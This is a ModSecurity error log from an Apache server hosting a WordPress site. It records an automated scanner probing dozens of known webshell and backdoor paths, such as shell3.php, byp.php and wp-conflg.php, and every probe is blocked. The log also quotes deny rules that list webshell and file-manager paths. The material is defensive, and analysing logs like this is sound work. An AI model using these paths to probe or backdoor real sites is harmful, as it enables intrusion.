[Fri Dec 19 22:23:13.332040 2025] [:error] [pid 41451:tid 41465] [client 85.203.23.11:50667] [client 85.203.23.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "aUVf0QYXFn-DbZghZBHzzQAAAAs"]
[Fri Dec 19 22:23:13.784695 2025] [:error] [pid 16026:tid 16043] [client 85.203.23.3:26381] [client 85.203.23.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/"] [unique_id "aUVf0ULVfhf4Jb3enmNTPAAAAU4"]
[Fri Dec 19 22:23:14.229140 2025] [:error] [pid 41451:tid 41464] [client 85.203.23.51:53387] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-directory/"] [unique_id "aUVf0gYXFn-DbZghZBHzzgAAAAo"]
[Fri Dec 19 22:23:14.667277 2025] [:error] [pid 20580:tid 20608] [client 85.203.23.51:28183] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aUVf0kmd1op_YdAdgR23wAAAAFY"]
[Fri Dec 19 22:23:15.126282 2025] [:error] [pid 41451:tid 41472] [client 85.203.23.29:26615] [client 85.203.23.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/"] [unique_id "aUVf0wYXFn-DbZghZBHz0AAAABI"]
[Fri Dec 19 22:23:15.570316 2025] [:error] [pid 20580:tid 20587] [client 85.203.23.23:40623] [client 85.203.23.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aUVf00md1op_YdAdgR23wQAAAEE"]
[Fri Dec 19 22:23:21.006438 2025] [:error] [pid 20580:tid 20590] [client 85.203.23.35:57173] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aUVf2Umd1op_YdAdgR23yAAAAEQ"]
[Fri Dec 19 22:23:21.460007 2025] [:error] [pid 18438:tid 18458] [client 85.203.23.32:31699] [client 85.203.23.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/phpad/as.php"] [unique_id "aUVf2ZRArClWV1iij_S2xwAAAZE"]
[Fri Dec 19 22:23:21.901095 2025] [:error] [pid 18438:tid 18441] [client 85.203.23.27:22073] [client 85.203.23.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aUVf2ZRArClWV1iij_S2yQAAAYA"]
[Fri Dec 19 22:23:22.336721 2025] [:error] [pid 18438:tid 18445] [client 85.203.23.43:45537] [client 85.203.23.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aUVf2pRArClWV1iij_S2zAAAAYQ"]
[Fri Dec 19 22:23:22.761936 2025] [:error] [pid 18438:tid 18460] [client 85.203.23.29:51937] [client 85.203.23.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-file.php"] [unique_id "aUVf2pRArClWV1iij_S2zgAAAZM"]
[Fri Dec 19 22:23:23.199853 2025] [:error] [pid 18438:tid 18456] [client 85.203.23.11:21721] [client 85.203.23.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aUVf25RArClWV1iij_S2zwAAAY8"]
[Fri Dec 19 22:23:28.689379 2025] [:error] [pid 18438:tid 18448] [client 85.203.23.36:55947] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hello.php"] [unique_id "aUVf4JRArClWV1iij_S21gAAAYc"]
[Fri Dec 19 22:23:34.117322 2025] [:error] [pid 20582:tid 20658] [client 85.203.23.49:31157] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aUVf5spAnrkQKZ4b5gZXPwAAANA"]
[Fri Dec 19 22:23:34.530809 2025] [:error] [pid 18438:tid 18457] [client 85.203.23.45:51827] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aUVf5pRArClWV1iij_S23AAAAZA"]
[Fri Dec 19 22:23:34.958484 2025] [:error] [pid 20580:tid 20604] [client 85.203.23.42:39371] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-conflg/function.php"] [unique_id "aUVf5kmd1op_YdAdgR230gAAAFI"]
[Fri Dec 19 22:23:35.412352 2025] [:error] [pid 20675:tid 20707] [client 85.203.23.53:43307] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aUVf57MyJ3XqeDRsbQm2IQAAARM"]
[Fri Dec 19 22:23:35.858137 2025] [:error] [pid 41451:tid 41464] [client 85.203.23.24:51723] [client 85.203.23.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "aUVf5wYXFn-DbZghZBHz2gAAAAo"]
[Fri Dec 19 22:23:56.299160 2025] [:error] [pid 20582:tid 20661] [client 85.203.23.45:25421] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/autoload_classmap.php"] [unique_id "aUVf_MpAnrkQKZ4b5gZXVQAAANM"]
[Fri Dec 19 22:23:56.716428 2025] [:error] [pid 20580:tid 20590] [client 85.203.23.12:54357] [client 85.203.23.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-wolf.php"] [unique_id "aUVf_Emd1op_YdAdgR237gAAAEQ"]
[Fri Dec 19 22:24:02.178713 2025] [:error] [pid 20580:tid 20597] [client 85.203.23.29:64601] [client 85.203.23.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aUVgAkmd1op_YdAdgR239QAAAEs"]
[Fri Dec 19 22:24:17.637169 2025] [:error] [pid 18438:tid 18445] [client 85.203.23.12:40503] [client 85.203.23.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUVgEZRArClWV1iij_S3KwAAAYQ"]
[Fri Dec 19 22:24:23.098013 2025] [:error] [pid 20580:tid 20587] [client 85.203.23.45:63135] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/"] [unique_id "aUVgF0md1op_YdAdgR24GAAAAEE"]
[Fri Dec 19 22:24:23.529200 2025] [:error] [pid 20581:tid 20630] [client 85.203.23.34:35119] [client 85.203.23.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/"] [unique_id "aUVgF_xEv7WXNhnFD1md5QAAAI8"]
[Fri Dec 19 22:24:23.980166 2025] [:error] [pid 41451:tid 41470] [client 85.203.23.46:60215] [client 85.203.23.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "aUVgFwYXFn-DbZghZBHz_AAAABA"]
[Fri Dec 19 22:24:34.419276 2025] [:error] [pid 16026:tid 16037] [client 85.203.23.5:48903] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aUVgIkLVfhf4Jb3enmNTzAAAAUg"]
[Fri Dec 19 22:24:39.859749 2025] [:error] [pid 20582:tid 20657] [client 85.203.23.53:59333] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/"] [unique_id "aUVgJ8pAnrkQKZ4b5gZXrgAAAM8"]
[Fri Dec 19 22:24:40.276896 2025] [:error] [pid 18438:tid 18456] [client 85.203.23.5:35771] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/"] [unique_id "aUVgKJRArClWV1iij_S3aAAAAY8"]
[Fri Dec 19 22:24:45.688351 2025] [:error] [pid 16026:tid 16032] [client 85.203.23.5:27819] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/themes/"] [unique_id "aUVgLULVfhf4Jb3enmNT6QAAAUM"]
[Fri Dec 19 22:24:46.120300 2025] [:error] [pid 20580:tid 20610] [client 85.203.23.3:47953] [client 85.203.23.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/archives/"] [unique_id "aUVgLkmd1op_YdAdgR24TAAAAFg"]
[Fri Dec 19 22:24:46.555584 2025] [:error] [pid 18438:tid 18460] [client 85.203.23.15:22061] [client 85.203.23.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aUVgLpRArClWV1iij_S3fwAAAZM"]
[Fri Dec 19 22:24:47.010512 2025] [:error] [pid 20580:tid 20602] [client 85.203.23.2:56037] [client 85.203.23.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/404.php"] [unique_id "aUVgL0md1op_YdAdgR24TwAAAFA"]
[Fri Dec 19 22:24:47.424696 2025] [:error] [pid 18438:tid 18455] [client 85.203.23.17:41225] [client 85.203.23.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aUVgL5RArClWV1iij_S3hQAAAY4"]
[Fri Dec 19 22:24:47.856581 2025] [:error] [pid 20580:tid 20605] [client 85.203.23.49:36421] [client 85.203.23.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aUVgL0md1op_YdAdgR24UQAAAFM"]
[Fri Dec 19 22:24:48.274611 2025] [:error] [pid 20582:tid 20651] [client 85.203.23.40:28419] [client 85.203.23.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/components/"] [unique_id "aUVgMMpAnrkQKZ4b5gZX1gAAAMk"]
[Fri Dec 19 22:24:48.712800 2025] [:error] [pid 20580:tid 20590] [client 85.203.23.37:62529] [client 85.203.23.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aUVgMEmd1op_YdAdgR24UgAAAEQ"]
[Fri Dec 19 22:24:49.167528 2025] [:error] [pid 20580:tid 20596] [client 85.203.23.53:54191] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aUVgMUmd1op_YdAdgR24UwAAAEo"]
[Fri Dec 19 22:24:54.599623 2025] [:error] [pid 20581:tid 20622] [client 85.203.23.31:63921] [client 85.203.23.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php"] [unique_id "aUVgNvxEv7WXNhnFD1meDwAAAIc"]
[Fri Dec 19 22:24:55.059912 2025] [:error] [pid 41451:tid 41465] [client 85.203.23.19:58645] [client 85.203.23.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/options.php"] [unique_id "aUVgNwYXFn-DbZghZBH0MgAAAAs"]
[Fri Dec 19 22:24:55.493776 2025] [:error] [pid 16026:tid 16049] [client 85.203.23.35:48147] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aUVgN0LVfhf4Jb3enmNUAQAAAVQ"]
[Fri Dec 19 22:24:55.931348 2025] [:error] [pid 16026:tid 16041] [client 85.203.23.45:54247] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/site-tagline/"] [unique_id "aUVgN0LVfhf4Jb3enmNUAwAAAUw"]
[Fri Dec 19 22:24:56.371889 2025] [:error] [pid 41451:tid 41472] [client 85.203.23.3:40913] [client 85.203.23.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentythree/"] [unique_id "aUVgOAYXFn-DbZghZBH0NQAAABI"]
[Fri Dec 19 22:24:56.798229 2025] [:error] [pid 20582:tid 20643] [client 85.203.23.19:37999] [client 85.203.23.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUVgOMpAnrkQKZ4b5gZX4QAAAME"]
[Fri Dec 19 22:24:57.243227 2025] [:error] [pid 20582:tid 20663] [client 85.203.23.14:52879] [client 85.203.23.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aUVgOcpAnrkQKZ4b5gZX5AAAANU"]
[Fri Dec 19 22:24:57.672345 2025] [:error] [pid 20580:tid 20603] [client 85.203.23.45:57771] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aUVgOUmd1op_YdAdgR24ZAAAAFE"]
[Fri Dec 19 22:24:58.112641 2025] [:error] [pid 16026:tid 16037] [client 85.203.23.44:34809] [client 85.203.23.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/wp-conflg.php"] [unique_id "aUVgOkLVfhf4Jb3enmNUEAAAAUg"]
[Fri Dec 19 22:24:58.552885 2025] [:error] [pid 41451:tid 41460] [client 85.203.23.19:63111] [client 85.203.23.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/admin.php"] [unique_id "aUVgOgYXFn-DbZghZBH0QgAAAAY"]
[Fri Dec 19 22:25:08.965652 2025] [:error] [pid 18438:tid 18457] [client 85.203.23.27:64385] [client 85.203.23.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aUVgRJRArClWV1iij_S3xwAAAZA"]
[Fri Dec 19 22:25:09.364262 2025] [:error] [pid 18438:tid 18460] [client 85.203.23.16:41123] [client 85.203.23.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shell3.php"] [unique_id "aUVgRZRArClWV1iij_S3zAAAAZM"]
[Fri Dec 19 22:25:09.764949 2025] [:error] [pid 20675:tid 20692] [client 85.203.23.16:54795] [client 85.203.23.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aUVgRbMyJ3XqeDRsbQm2iwAAAQQ"]
[Fri Dec 19 22:25:15.196164 2025] [:error] [pid 20582:tid 20665] [client 85.203.23.38:41745] [client 85.203.23.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aUVgS8pAnrkQKZ4b5gZYNgAAANc"]
[Fri Dec 19 22:25:15.623994 2025] [:error] [pid 20580:tid 20586] [client 85.203.23.6:47345] [client 85.203.23.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aUVgS0md1op_YdAdgR24iQAAAEA"]
[Fri Dec 19 22:25:16.087546 2025] [:error] [pid 20582:tid 20655] [client 85.203.23.6:20045] [client 85.203.23.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aUVgTMpAnrkQKZ4b5gZYNwAAAM0"]
[Fri Dec 19 22:25:26.521987 2025] [:error] [pid 41451:tid 41461] [client 85.203.23.46:42783] [client 85.203.23.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aUVgVgYXFn-DbZghZBH0qgAAAAc"]
